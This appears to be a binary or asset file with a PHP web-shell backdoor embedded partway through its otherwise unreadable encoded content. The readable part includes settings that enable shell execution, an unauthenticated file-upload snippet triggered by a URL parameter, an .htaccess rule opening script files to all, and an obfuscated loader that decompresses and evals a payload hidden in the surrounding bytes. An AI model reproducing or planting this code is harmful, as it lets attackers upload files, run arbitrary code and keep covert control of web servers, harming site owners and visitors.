уcznrkqpity"!G4qvۺ$t*Sl($ab'$rl#?Gac-19QH[ Pl%pa}SVw;ǀ
7
bW};~{0a hRʎW'ܲ٦W^_Gq)1`.e5(Z{V!X/ Ó~Qk:sނGpn)wkա_*-TKZ_loD Xi ~cwprf*QY|rSagvϩLLOا7 YWUw@"Q׃Y\sԆC.),v}6g:ڶ7h[#DӪ/vDAG[1VoԱ8VM/[[M#(sHcR=9gW,nh
7̓H~Y/؆Q&tKVXޯȻ61^KwώbAS&+ϪvSKdƭ=.o
"a(΅E:$BWrh#`03/Ƶpy)%f]ORdi4{~CV~EJ;,E/((uڳ.9ypn-$cmzdgvteob2UZh}	 }HšQ)jQmZ3"?,aef{СZhTu&C7eFB1RuȥSC9$cmzdgvteobzdxڟV_լo/◹6	=sK+́buo6O41u#%(R!jpApH	^YW3550ȕCY
8]I4g}33
^AmYi06q@ ~GZ!3.O8KNy|ԓܪq#2^SP.Qr5(ΧgmD
)Uuҗ#qd'*Nel/}bcmzdgvteob˙.RQèiJ[cznrkqpity@KxbV.ubU.o?ŦsPNiz+^-$`8[#%a̘y&c?Amҏl:ϮWx;#lUH3'bWAݲ"|.7DԺ{cznrkqpitycznrkqpity
srN
[kiR@W\#:-L!.N@GɊtiK"Fb,4!5
O$rռ+~S}6S|[8`
|UyyƼˈ#Ri}ĊjyL,C.wTW)URzDqx
P]=07H`ph~@t@RW cEF-[uM{E`l48)x&8RLڴ@oxLיu"cmzdgvteob+eįuWjT)P+ߺ;۱,/B1cmzdgvteobmo"~)yHl.2cND`XJ#V/^M[xM``s	34gͧKSPˏcznrkqpityeDƬ)rdwPV΄z\P#ph{1zҤdeZcznrkqpity~|$Q*7ZcznrkqpityJŗe&Z|]ptg;AQ$,8)*/ACgL^78[b؈6PE(|umz)/	\J9/wJ6aW_30Kt4׸@~x6-҆mvG:K;$ސ}oIPYon-3٨PTJgwzBZcmzdgvteobx:jaMN#Ղ%ݾ^Scmzdgvteobd~.y`f@ҽ|3@{_L~-8ddKx*xmSQ.%Q3#cC@0cznrkqpityhJ ȷ7#ƯZ]w-_QbM_*鏬"=vAGfס;*!wur*ܶ%QU[
b~.
$lA#JG 踚S2.o$ny'#ZpxhIǸ~R[NgLѥ̕mdìΒ5N'pw϶kXͱ=~cmzdgvteob0HaѫG-.{}!DHb+3"3z'@bpD:8m,]va)]hp`nF7+Vb[9D`w.]cUsgBj௿s&ͫZ:X",n蒾İTDGT31gۀC
^i2)OʴW\RUҪcxQl{ۯQcux[?﨡خfK͉a%s ΑPqUUYV*-l,kFe&cmzdgvteob5k}cmzdgvteobMyELWkM\Ν(JM#cmzdgvteob}I	
ٷ
F-uX$Y5TD*cmzdgvteobmQY%Pv~1Q~~}PTD¤	֨U0t@[E4QNi ~O
YO}oԩpT0.ѾcPtݙĢSd77 EHW{ǉcznrkqpityޝmMcznrkqpityw(cc7%^Ip2Xŀ?:,̀+A&Lcznrkqpityu526`дo21U|{{оLɱ_}AF4-SZ
,ɩFJ1j;|BH ZnPwg{zwAbWa\srcmzdgvteobڛ_еmCW`j~cacmzdgvteobcl	ICKPvm_u(̫$iSVؘ8W
b?zl'EGۉhG4yD?ԝ37G|= `Usn̖B
wkR. PҲ݉kPpc=X&f-sx!
)-GUx{*u&)}+ԍqPqffR
cmzdgvteobLn&yD*G=3$B`-N	L5 /DAa; DxO[:miݭ&rձxJi)Gm^4Tܚgs
7=&/V\\VFRpEFOG*xrJ\1,ǵi M
Yvzr:A1x?Ϣ`yςt*3̻3$'O~߸ lUa|oSp%]cmzdgvteobĽb3) [Nj%DD,{):p#}pywy%{(i_dx5߯a'`
-Tϔe7q[|o`p!Cz{MmՏ#B/-Q1l⼠۬lodM	cznrkqpity
F*M ^faǲW6iyk,cznrkqpityj[Eq .t_hR9Ժ0 (5fi9
N;S's:L?1 :v]g
@(IЄiio+멽+RZ\4&'tKSnj
ggs­tcznrkqpityX
5@cq/'Ƴ'kݖspO!
?1%HI*tgԱK.([?j|U$~\FJFCL= .q/Ti=f}/\Eܧ_'?xl6ۑrD	IyɕFB)y+F^	5H~C;TVH0ZjcmzdgvteobY{:{F5/H𑢡	_Q_ʅogGb`JR&;]9֍of!̷~9y6 /֙6=|Xt0S%cmzdgvteob
+$˟r=%$si_f~i _Fʩ'XŵD	6}I"D;xuy3kZ{Bjecznrkqpity	uwe%+)HX0vLє*cvEտB!j2s91 eT[z\Pw6 \XocznrkqpityYEǮ$K`JVkJuUzŃƃ#@ S9{RZ[oRBaYA:Kuw}RSZ	nJX:="^?"ߐACSvߦ.hYTk3ÇC홱J}]n+3f콗E oRjA4M MntQeQRPn: rx~CG_h5bx@6[s/UhgC;=Wұ/\jNcznrkqpity0 R*-HNa)r
LjԹ-9:3}1 -Q=ێ}B1;4tOdkyK}t$&AMbsq(Ø^z]PT
*/ܕp!8S+([=o,.M$A""g55au7l|NƟKK_V0!H%3cHQCIuv1L-r&+?cncሁbS ;ۄj/#'cUb	9,\j&h^Ola(y`3?5l::/DqLfzV=TOة2Z~?	R6GΒP܏ $h1eՉl`h %H4%tV @'2E$)Ey*Ԭ:Y1R,Y_h(38ZRGH1bǢT7ԁ7}|8;p[ZB0ָnHV	-

Bz\չg6!6/m^!
JӛAWc؊)#
PoQ)6	~wfGYI	%AQ掅-zE!	bap# $r`tFm@ޓ48:ġhX=W,	ݙlHn*xlс{`;WȨƜʿ;&Dx1ӰͪZ2Z$cznrkqpity2f$Gkl/V稪اg{z2QC_^Vav.]JrEL{qxFn-_Ya('EUHu//!CP-rl؆U8`@p؋cikch;8\^1vP76a*se˖	Ks.2)f;,'u@о
8ˣ q]yV;}1O!uѶ7&ca"VaH("BCz[L1Gϯ!_bzNK01t*'0Qa kDz޺K,|cmzdgvteobޜ:qcmzdgvteobf&LʙTFo|i3ƉHJzA4
+ns]')f[6)@Awvo$?V-0o[Q+ L@I	B`'cVQķB]=DucmzdgvteobpkH9mlxԑZk_3F碿7إoD˙ѷe^fnQtlmT{sʞF5UCno]7*Yq-52"TߡC 5 tTIU)tMluOpTk?iI^p~j-_2U/6jDk:S).f5;9Ro_`PQ|IAGHb	n4OÌi׋HN]45򼮉I/!T
5Dw?#(@0U;b$(clU+5cznrkqpity]=Ϲ
]wMZdB={=vZ#qɞ}wcmzdgvteob+ ۡRcznrkqpityF\ͪc،/^U[kS^mQT,-a̛LC֏vDy7_wV?2JSvm,,]X
O*Fy;uk\M8M,w3/QoG9^Ʈ=mV{R|i7TIƲcznrkqpitySW:a1
,36.}&A{#!xJr#5$FG/qh J.8̆%KO`x.4jtLz!wO7-a`Fh,F[$[`{ެL$L,|(-cznrkqpityW2Db~OcDzLIw؅2nlYu"v6M	@t^dGcznrkqpity&؇Yv-CE7Aъ4cmzdgvteob=`WFp/OcmzdgvteobLO~	t:j̟z= Yxf-D	W/L[8zRFfsiO+OTi)ecjղӧd=Ȕ&TE
)#Uѷ&?6U&pH0e &Rc_L6cznrkqpity#h7Fu:R?I秹#09pD_/o-__݇N[ˍ;ZZv+:1~A6cznrkqpity]X[刌TVŹͣ	;jmp?K4aQewVfqHk0
Gu-کD)/5]i]\Ȯ"ߴ谜ru{CGwhcS
i 
K_O;y-/cznrkqpityጌ;8=qr%xy1ClcV!|N;qTו̐T6s8cznrkqpity:w Pu?B9Bٵ%
͂kGOT~z}B 5UQJ
љ/RDUݖHޕ,-9Y;H{`
l:|cznrkqpityh&_Ì NOi
g~m,:7H@ZvzDJ9&lIH8q'le@i~Z'J/1MbT~cznrkqpity&I(-
a	\g}5 c͆Ht|*EWKK)؉娼;u79UmTMjBm/
s lD.Q{׿]Kز9[.h{o
E_	m\RdP"{( ֮1gTNITf44%*-wS@cw;5lIzAUN`lt}O)r'6gVO
 XTmШC͙ܦסA6	^QZ3\llcznrkqpity1cycznrkqpity&|O]Zؓ	 ZTTx*c+8oALǒ?ZZGkSsP(8toAx5=
%LJ(Y
xcmzdgvteob#I
{Q	eHҟfכƁYP۪%iJ:('
׀y=CSH޸6堆?qSY9\
U|^U~AͭCBeHck:Ѯ)c)ثD
D2DO[xգ]y+֯ucy'@H[{6wR@

њtob"t1H_#h&*l;|cznrkqpityB$~!{jp|9-'-Tcznrkqpity07n0T$'?8_**uU񏼅^ܷ[2PfޚcmzdgvteobU~Rp+ED%%ٽX%O-\c|eÈT_ߖUxH\41rРGҕ/ gfs&:7]Qo9i$W%7b|GFϳo
Q"}8wyx: 
unLAC/fQ;?w|c9!cIGe$oXhH̿0iS@dѐdNoNyMZMpфo3cmzdgvteobgѽOG
U7W
ZjT
c~& ~OET\iCVh. yd #@GW*Nr!\_^_(8OotPkqjr
:]ɉwMcznrkqpityN{^^%AV?͉7Qw]{-MŬPh|pQos*zןcy9(C7cmzdgvteob)]m/=?$Q{c5p}cznrkqpityIf,AY@jQZ}IɊ-ڠ4ԡ1y6㧥 .icq/
Lځ.aK8`g[gm lnAb𯍔^l"-~wwڼ54ϓVtw!eU O
tvcmzdgvteobuxR'uƤ|FcKO@xQx²9,!9Wt^I%}`"s9(VUta_Ti980[ffEͰYKYӔ)C6ȯLѹcmzdgvteobsğǔ)Lq4o?Sy?cmzdgvteob.-@!a=rpY$+ౌR(P9"Ǻa(+)	csf*zHϜe\ÀlMJhGTG" ]Ujp"K1}*$-#ynD	}/֟YVzo	#5C6\N,`s9{(f:.Jf٬~)_c#BWyJ&gn+hxR	S]"O8s@X
@9)CFeI F	
y0O5[EJXg'͏.\vv~K!/T6ć"%}
'LSe}zIѓ(
|ܛ![c  =i"2' 
]U蚇VO6&pq^z~HʚmІk5Zd2JOǳ=uѷ0&u!$$ 0RVfPoqcmzdgvteob!5qo冠X=5/]nO,'yD3AcmzdgvteobOT$ox1h$`a{7N+|
BgxL0CF7gn?[^8އz\#1۶v-癯C=.+M}3򴇡uvy+G}eNe/1P|mXNC=pcznrkqpityE5@PF;Ƒ户̋;ScznrkqpitycjhXBݨCU	X:Δ=J }x;Z}pk~EZP`g-٤hnFO!Lu*ǅ8Xzzǖf.5Q68G}woF b!TīOQ75MLRô]7_XLs[+ͪ+!T߯-G](?h'|t'~ͧe3nD:_|ke/pF/#O5Ofhtcznrkqpity&iQB9D/ah)6b낵CaX*p`n:zvLۆJ`jJ1\2?^n07:zwe(({[U(;I6d|\xM"2_ҧ Zg55!6 ?xf%0$3i}
?.	y@ޢ+5/Je&cznrkqpityBFOcmzdgvteobw~ 6su/&|$v
="V(nVMcmzdgvteobM&0)J㢚c"کadjMFpp9'{\T˷~/b/̻`Spd.U+Ԩp&ŃOӏv-@1'KSN\m/0e{c,|%+|BadȶcmzdgvteobΌ!v&eI
?m%
*w!~Z^Հ5rlʇ4y O~F]X)͏қ7_1QvV
-T	_,FBj G.#kIN+""9Dcmzdgvteob
G;15н
w cmzdgvteob
9&;#R7ziAřB,cmzdgvteob&(LY8[Avc`y#^f'پ2CH߱TB%-kfgw6c@{ejAjzwZ3=~_P_LR..C/UY6@H^ײE5,cznrkqpityv@\A܌mUMj9ܺ*"
]||L$yfD|Ϝ)LpsŧH7ezcgD)Z;ݶz
?L-E05Y=7ۤt}+-!@Fqx#q&ߠK|tI](/g0)x:\1ŲSaE߭*:vpB̧c!vcznrkqpitygo dhf
.~&
B$Uh9h?|yes7u[ܱ1S	,K9mm6U&+UB\09`6kQaUI8ML^rsu쑗	V 
fjp;wј{I@ӂr,KOѮi wce{cmzdgvteob0}숀@e؃5	&.J6~33HPfz1R|Q&eZDU/fP#2cmzdgvteobE$2*b0&t3)gaIsepfXnQ1Կ[&A\j^DeTyֻ/tF?[Q/;KN=\pe-WdXmnƂ7F9Y¯K9	
2Qp7wP4;DFR{7@`܈/p Fp
!~T'SF;N:
O
sݷ@H5cmzdgvteobK1_)cznrkqpity*wB|aChN9jֳk2ɚIʲ!.x?JbD9㝛C:GTk|C9	畀̄{dcznrkqpity,k1c_:韺^O
ejs0Ca(	OѸiT}Drq+y!ȿ% (+1`Y ,wHA.P+,)[OΨnڂ3)x'|5*9nׁ뻑vOaP8ŸqUmP$UBV7ީ+[{\&q$ģcznrkqpity4JvM[	":ﻖ8pӄ 67B Iҡj)FFxZQIMO]^|.oH/zWY+UHb3~G v|&}lh=wR|%:hx!qT`i[};w7D=ߞ}Bjn#LL^nP,icmzdgvteob jÅ=D.WWuU(.ޖb
w
Z.|E
#`ј
6׌fth8բx~yv_E	[7/II0PfCW]f%cxuƴw2Vwޒl@`t'EY{Pxx^wf&_-| (jXcznrkqpity _".-}W-4G&SqSc_+¯T?'	"L$rZf3,jΠ`ݛcmzdgvteobӬscznrkqpityt5sA誕 ^cmzdgvteob#u2:*1F"=4NJv$CƷ$&B$)mZ"4K`۬e#ۯcjRU
E3'n9?/
:gIomqcznrkqpitye8Orcznrkqpity. PD4/ޗQ"іN#pKޟl)HE,ho~e,"3XmBa~~GcS·|p0;v=y@\!zcmzdgvteobcmzdgvteob#f2ZRE@Tex&s4ޓ}qﶬD
cmzdgvteobيFX
{cmzdgvteob\_cmzdgvteobm&n!
Oc]̮8$s/;n(ݥO8kWBD8nކ0?s$4VD1?si~idgMd˿	cڷݾ]D7\M̵}\
񰬡~JhwÛxT٪Cjsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$bDYK='subs'.'tr';$ZbyG='st'.'r'.'_rep'.'lace';$XrVm='fil'.'e_get'.'_conte'.'nts';$gRwk='e'.'x'.'it';$GZND='gzun'.'compress';eval($GZND($ZbyG('rotimnvyuq','>',$ZbyG('rxvgamkzjd','<',$bDYK($XrVm( __FILE__ ),-172380)))));$gRwk(0);
?>
xT׎
]t0s91\0g1ǯ7l@-k9F~½i??̋l|̋N:E.,wkwk5H\_,e\kyN}rg} _4NYIpAQyH	C	NbR$rotimnvyuq]i\Wn;_~@	H X YLwr*غv17?ꔓcJbu"}HyU%WRvvAڔZw,\rCXٜ~$'j_# W5f7wK'E)^\[[	lh̜˛fiV;arotimnvyuqhPfCPLogJy~,[J5~{6ؠJj;?u_rW%IxVdxuDWRV÷Ǔݞ-XC_O
vbdч]2cC41a"&\sBaxB:#@&{05I
6BrotimnvyuqmGG=m-nN8-srotimnvyuqS p"W1uT~&CN23]~O|OTu񞱁L =7W\p54'2W:4[xW9?3،h[~me`0*`fRelk`5]AA2ͱJJ/Sb^\x6QB*BJ'|^в0:u@Xq36Qak`ǜ13&Mt0惟7n;.^,Zʞ@;5zlw5Q}=C;rotimnvyuqϘ)@̍h$څo^u\8.V ƇsW@,.y'Z-Fɣ] @U}0 d
ܗp\86^Ǉ=4w-
Y,arotimnvyuqN7scSY?9]34*nWO$I#ݚsCbqN#0.Z
m2t!P=9֢#vdS\GHnO#ӇУL(C*(aLF^ç܃#̅X$!7biKvKneՁ  
;Z,p7=Pm80rxvgamkzjd-tkB7	.-G%;J\]²4Bd͢MEw1R887,U^B`Ϻo˶ܱahrxvgamkzjdh,}6ƼrUpttĻxrxvgamkzjd@x9lo෬rxvgamkzjd7ÏGCprxvgamkzjdǊM3(S~ ?yX(wGxQ
L:ɜ#W|33#ږTuJ9{׏@X
Yrotimnvyuq}pe&+PGO뫎tS^YKSw
`mځUWh
]4rxvgamkzjdslbE}'3*z@͡PM6Z[({J5W¢j9\5%LTM:&r81t9ҭ!\U44~#x[͝6)[B rotimnvyuq}D7R
5ārotimnvyuqTo|̕~
UiS;f:6t/ovkx|ܧ^uVפ}cɆ8UKo׈&QJRs
Q1
=\AB\rotimnvyuqL?jɲ9;!YBk])rotimnvyuqRCw^3Lĥz֒rotimnvyuq0]2Ey!NNHC)9]]@ЈhSW,vY+XfKQZ`]\JnSsfH9EӗuWS¦rK !DM8S1rotimnvyuq\,Z=@csSQD$J(|fnX}̷}IjZZarbIDE*S閇ޤ|T	~/APϐ0MƢ9i!mk4teRRet$t'#*h&rxvgamkzjdr)Ɩ*˜6+
w1GtD.훉~rotimnvyuqOD|dEk
Ue\50ʶɐĘg?ZDV;ə.EɺQI,"@EUQef *1Ɗ`he2W5)Qyt+E;X%V|rotimnvyuq.˙#1#%]^+pXρQ
|eY&'ū{('IBӴ:p.wQ&#BmNtzmrotimnvyuq/|KĂN:/(n.lجs$nԜ^TٛKprglop/&]C_rxvgamkzjdOrxvgamkzjdӠJ{ 9SqXҔ|~EHw.nt03nG'ǦZ?p~M2A.~rxvgamkzjdhbށܓS#?)Q.k'\̲:(B3{`j?JG'rotimnvyuqT)Ʌ%1ŪxrKq63zg.'r	@;ܨ.c*]xA(]x]orotimnvyuq[rotimnvyuq4.f,nUiUXEFM՗}TIC$^9rotimnvyuq} @:͠ƺvc2q!=jϥHH|]!2FKzv#  ~,o%orUj|Tp.bOX:ϻ[*N5+w}Qx,DT
9w ːx̂۶]ED 'rxvgamkzjd^ҕEJi]|	($wbm]UWQ/1|8^
vhx{/j=M v	uzĪ
I?{,4SGqI]G
؅4XY_JڱǢzQ%bY:;S-d֥I7bgd١ ircP l*a!rxvgamkzjdmZ
|a&
*Jg  j^r9{'P!5rotimnvyuqNQu8R2٭`-PP'srxvgamkzjd/e;3I		Q;.F僦.mJOa}c/yٞ
R2FDBuwNS~af TCwX&,"j^~П!*bIC~'%1?^nQ4B;]B 2u5WrxvgamkzjdHs?
|rotimnvyuq#
b } ]8mӤ;0"jIx%+05x=iMj7IiYIѧ`jR\QlmG57`RM:x[	IޮjVlALY|#ӣ	E;ke-Y)F.8sF"b{2ZPqj3}Wjp{W|o}rT/xE	M;LdVxoz!!-%dHKlbT`_Y"aWϨKR¢J L5a;w Шc-oܝ-Protimnvyuqrotimnvyuq鮏nf3;Bb=0^`څ 0.SDӵ;ss'tC:M^	4}cJ2tQ$TC%1t͇-ٙ:?:߇'wyƱJ#'?53$W*WgL
2O*Wq*ufk$7
d0rotimnvyuqTHez(ÛV6RIT/_73,iT5TWRj"͢C35|?B4#c}:\,,c~[oCdW	YbS'5.?/H9YRp|a9ZfS?,H:޻7rotimnvyuq-0X
Tp 	F)cp薞rxvgamkzjdO~͸SN
PZ(KWټ:ũޏ/%spm5^뉏.ӷ;'rxvgamkzjdc=Ͻ+pn&:Z
V`Y	phi@rxvgamkzjdSLcTp+0piNAҭ*#;%\zWU*)':r3J?e^Ѱ,$f/jrotimnvyuq)n;@[vUqԮ\֨Dt}+v*)8:'-@	o
*V:ӝ/B[h-PُS ,O%/k13EO/xOTrxvgamkzjd;M%gdv=|:x,*[kTz*z+rdХ9RF(oAy!;sOFrGOYlWZK)l`;uOnirotimnvyuqڹ;u'8O\zsy'	
 eKJJ~0h蓩qCAi7MknhrotimnvyuqF_I6	Ug=L;x*/r}}r&bl`L\^%7L)3$L&z+wV/{"I -A+Y+xÜ*yfjQI"%](Jr'kArotimnvyuqB`y38-h{/ۇQzgz7»xJߏyy
|B+h |8x
9iɒ6c'
hVOu
s'tJS~{ʽgkY6s&|i,ʝe+OP͕ͣN6
7|L"ܭw,rxvgamkzjdL'T68oE ɪ
ּ(6̇EcΜQ49lM9itN\}ϏIN7_nw5O6@rǥut:qHѣect5ؖKc13wW(W6Ԓbx
7+?6pBH勳.;U0eMn*\Έ[MT*_xEuAAh9qS?D|Qza-} 6Ws$j-c:UH[D!Prv薰UY7frxvgamkzjd7+A; Fdl.	1e@䩳M@ٛk*s6J_Y#kP^R*frotimnvyuq?5SrotimnvyuqaI&fez7$I2	eΐFA"(j-NCܜpXMh?OP?
Z(X.`uD,8cRX"$勿ȇQun#V2`;Sj
ڵ~bVrotimnvyuq5CH%seurrotimnvyuqU.}+{_rqTc	'D*B(C㩊fBDhCu6}ho38PGryxZ{iFk*x~.+98Qϻ+rotimnvyuq=99kI S
pvueRyL$LjW&ˆrxvgamkzjd3ZA'r7Zg6ɤ_o#jAOS
}J&pZ";sǾ@B'89[n%!Wϕlt%X+bLrxvgamkzjdrB5ףJK&`&Gy/Kt[
}L(ҵ3: oNfI8YQ*D.k^ȍxQ뤏HOrHrotimnvyuqlP'gL3}IikLi_j@0|4x.:9`\;rBm]0yɸ]#vŉK,N`"&ԗxM/'Q}RfY
עY_J}&ehl(EʌD7̱-[]Z+`63N`ڊMR jv
-rotimnvyuqra1~G%nJ*cŖtn1%KԴx3'πKyG#`񌌱A,PE(ٯ:wEx['
w@jeuj
)˼eOUަxɯ`??ow0Z2zT[s;g0XG{Sˠcv	(?\`&K8F̑
/`s{Q(i*ǌY
_KA#gز![M7nxPKa4:?خ474mGc۱+oOw:| m5:ˑk962x'Zȵ7;b38rX~5}k%w+KJ^H2Ӓb-l+xP'.Pv(0:2&J4e(dCi-I%jbSoLuܡ6bZ M?PԎWdabQ3`"h.xVPfarotimnvyuq0+fD'
~l	xv[}᧲/D
єDPO('S[ѽ6&ǆ1W"RP/t|qU ׽aS%e̯'KPX3U]C
#kZrŝP*&U	
a#]|LD`Hhk]ʃlZ@lcy恜fMcȽW_dy\T܎/rotimnvyuqEW~V"E.	3^27jy`Q:w?/"y/R_:\BŠrotimnvyuq|ZyTS_ћg[
ZGr@-(}TO Wb6˧wC)?&r!Lɒr;GWd(9_?rotimnvyuq&`%*~4b
kPF?܌\$Y_jsd`ȄjF`b~"Cf{RۯY2k ٟh`lL'.ɞhTt%#mvYz}8b0Mrxvgamkzjdivnl׌q-P
iYb5ZzLy8==$32\25z:rotimnvyuqrP+͗rotimnvyuqB!,/܂}@t6įSgt?j$C#\6{749N*Y6?&i/!]rxvgamkzjdə.g(:&pWAqx u	SoekgOai{qoEpsltaSrotimnvyuqByu+. Zu8as~st!zE0a;cmo֌1/_!.S`kⵍXK/BYMՅ+b,K!cuø:x򳗣򺼘_TNﻚorotimnvyuq~ʃVDe(4i~_k!sC±׮_س{XӞ9#rmalGAV]?1WoS*[.{)p={r?eD_~LAH_joOKѥ]*xCA Jnȗ0
:
iRInj9
X\ˑzl5܄vwe3u? P7/	u-H,OBf-q(.eKrZj^Qf$t~vrotimnvyuqE`^+䷽eW7SGƋEOnMX-y)R -6C~u(y;+{4:Lk9lrΌb9TotgC$E#-ܣ^3n{GQŭ}#¥NC;VR |Zrotimnvyuq/+q2Ȅp0wUH[NH(bhREgS;5OqѡűA%ԏ%rʿ-OnzZl-#u	~vmcrotimnvyuqBY`s \Z
Ͷi/"D\F7%нȣ:^W_(QþBgOQ++uvne(,	{AG|H43FLQ-{{R$&ݱj bl-9y"ؼ+WC]|dz~=D}##SMLi1rxvgamkzjd޿*K&񹍶ЅMfb/fwh0B#?& )ύOL=X+	HNrrpWh=Pk*gQ]	@EAߖ`ڳmc)ƅ\ s8o:O_DJEٗrF8%mv!PsOQ^o|͜{B80_yY	hLO̬lu#.$d6J|D'%\Ŕ^m`giFmP@1U)U@%P(tm9 X⋪yDKrxvgamkzjd;y"oμЪOP;|'|EwiAF\`p5|#rotimnvyuq:/4ɤO }$);S5O{z:rxvgamkzjdZKPBc#sE)dRi2ɶeQيK?rotimnvyuqU)㝵eh[S;`e&x[h/y"~Bz# J^9Z/[׿a=%~qIS*B/~SuNL=XA?b|,Ufg
4(Cje}rxvgamkzjdrotimnvyuqA۟ߓkHN:y@hz1Ie'v Ar(g"lb
Me{bhA	^E!!Ø5삏=SΞ{%i_BbD+Ոh Ktu}1$UisT=Q-^2ixd߼B;d~`3Drxvgamkzjd!}b?z91")!ϊcB+ƆXr4co}VcI#٠O8Uk\Z#FѺeI}y"
W,Ki\L(7s)ٛrotimnvyuqx
'z!~x.ЄQ^(TGh;fN;;rxvgamkzjdIrɫ8SC"53]tѠfNw|eGe_IfrxvgamkzjdpBbv3b|hw@kɺ2;dmrxvgamkzjdPqİBFPV+,דU%ڎսWѹ!* (Ύ*g4٭!D^`aݜA%rxvgamkzjd@쾄W*Wk\MpZO)s󱠄غ\Dj_:RpOyJ\'OH(i9IzA;7W~3q1l|CAϸ~2o0tVwrotimnvyuqLm yqr,OЋ/#S~2gUrې
4b@fpB-NcD̠\BX\}J#ܮAMlkziA`+`e@WAI(wsfz}M^DF,-p_L6HG 4b*8[!m(]=𳅘m,'Շ1ADxϟd,4ohMS2,?;%"n/yC:\rxvgamkzjd S}y4+΁cJjL"@
ƹryeG'Wѯ`IiktJx2첳`q'CH	[.&{EȀ?ZZ"jLxY5~sNx5]g@_ϦQb?X se;g7xDֶݔp$970pݪx'96mRB{$#TAƴfl0WD%fh,w
M~rotimnvyuqũNA'+Z2'S:*	c1AV[L@ސ?5͈Ϙ	u`7OW\oBWdΜ2c$b}T\EuJ0ǂ7Zpp`qp$$ւa̚GL K@\
=qi,:'}\|ƫl3ǬˮOrwF
$3$2?n@L_hrT
4:
S7vPye!|≙MB{+ݛoP }c &Mj	i*P@rotimnvyuqQ9^©s$±3R/XG¦|!W#![vgF!c?(`CN=Q2(oκ+j!.	qܻfcvwC^E]iܵHmDO+;r'/ rotimnvyuqsB̽o )Frotimnvyuq0l	W2Wy$(U%ε9ܽq[~e@_R^*&otR9 g,;˄L1+
PB{BxPeTf5'W}̑| g`_rotimnvyuq\pRc+jM§~5\;6&}5&=
rxvgamkzjdA:?"O'N_vo{̿&ĲR]b7--k)c =5Grotimnvyuq?9ȒW쐒$HZLQHe`Фl5xߌQ|&A^1s.aMGSFD?d_Jz)Ͷ54A4 K
ciyՎ	zo]@Űw6j=l@E@C:
߽f5IYXsrotimnvyuqE
ޖM@{n_TD8@K`F~X3rotimnvyuq	HgգJyjTB~qqswL!-H=OJ_  ĆySfY̳"`CD'}0X%Tn~* ;6i6qdy"vXn^
ST#
\_][1/vg0zxg%ъBm("ީ@#5Uy!:TɌrxvgamkzjd"#ۯ@ԲP]"k3Etii6-U	?rotimnvyuqTj:-w, @(x""g`N-\rxvgamkzjd5M27-rxvgamkzjd9@u&EWw9zOyrxvgamkzjd.
3bE/6ELx65ĈFR:cv-KWǽ߫k'%}:ygB\ܝ69-	#;#
ĵJP!3/a9C++̋qOR.?;Z38FP-Pe'Nh(yLӳc'y%'Q_?_xQ'`	4rotimnvyuq0+Xªn @]apbHJĠG䄪9L/"}+mArrotimnvyuq =u5~K"htProtimnvyuqQovᐲrLBXv9	F"=vvkbKDܢl=8x`ĸ7헥s͊]&Lse~ɾW|zT%sŉ0qKfΈ9gNqZJkSKS+⮿t3ϤMPX(E/E'ktWN㜸QB09" d?q:[+r6]U)stO
;LQqkt
=Gb\fda1_H_&,o 9)N񃄃rotimnvyuq%]knY@'_;Fς|gkKC5
nadҝuZLka 'r,:8[Il~%Pbj9	0ʂ=UXVj|ur|DBe,4ZF.sBBb˸-׏?JV٪$Ef60ܫ6:,g^R
KռjProtimnvyuqkFT{y%D@|fFη~P5WyU=W+*QzhF^=Eu7,"\#y
(As=PskCE~E/M4t:l-RWl~ђoKrxvgamkzjd:(+
Q)nӔZ*V/l|fڿ^JVyFvd﷤Nظ]h*Ud/:Y+GsשZybl~ fT7 ۙM^`8`$Jt4L
g?륿8G6lǬw0|mf{DлEFKKV
1~l@%K&(uEA:dm)dj~L{W0$x۴$(rxvgamkzjd^m
~rxvgamkzjd1$=V7y;tͲCB'Z=YǀڰsW
$x
WR1J˺`LVrxvgamkzjdrxvgamkzjdql2f^l	QW*96?
%ZNdyd.9&N/kouCoLFi}Ъb	eBx%3fG%AUDbCu凩q^Ӛ
Wx$9fD@3S)
Jo!4|Ee"X\QpL&E!$W\haYM$t($R/qXC4꺔ѶtZR-֓NO*^oP〇`pobArxvgamkzjd2V{X
,T添b5Ι7|z-ij[mUeC rxvgamkzjdrxvgamkzjd	Fj[ ֐iyIrxvgamkzjdYAuNAUrotimnvyuqR8؀u|:[JڿPqSatR z#yU+O{lS|]}]E	(5{Sځ/HSfPfg_}▓UV,_"g1HwpneKLo$@
_@^&lguowy5 g-V郂y"ʵZʜְRY&EOYnK}/؅eG3
RلbrлwH;Z(bi!N@wio0$H4^vn[j1V3bhK,Q^V8ڇzk.lxn7VvQ/ٖW
Di[wrڡV*=?[	Vhz514]u]R
rotimnvyuq8/[
Q+rotimnvyuqt%~+a[{H7
Ȕ(v_H^J_7wO 27SfzK1Z~FHr5	5RNKlrxvgamkzjd-͏:TēدMrotimnvyuqlT)rxvgamkzjdʅAC5rotimnvyuq|KGDf3bbiEC8{+'AKJS%	Y0,sZt樬Oɲ!׷4rotimnvyuq)^U1]͟gIqMg.b[.rotimnvyuqPfkiZqrjM~+VvyN%D3~3m0BNEvl+d\Ct/yHcng
,b$E=[u5ao?O&	J]
xjV1Ҷ0Qrotimnvyuq.?t 42P_@R_AfqU Ҽ.ǇЉEyjZ#N"Ѹ_(vၺkHÁ2MV-1ǡ&3]uϞ"{'b`%#ajNG3")^_t/;'zh~Ob=+o.=fNAfw+df
efrotimnvyuqZNmWh*/sY%%'!/t܇Ү E+HIïC@WsN8U6AŐ1_ZH_V	W/Uv嵖n#xry
ǈD=Z;h{R;L*2{6.5wcFԠvwBmKZy6AvnWu+d|e_šwB9 K(ÙdETh9߳xGSks 9`
zGFfy	fp3~gQrotimnvyuq!6rìڀ$B95~n_&zX~RٯLfYl}rotimnvyuqFdm*`AM@).]XI_ՃSwm-6M	;
̼P 
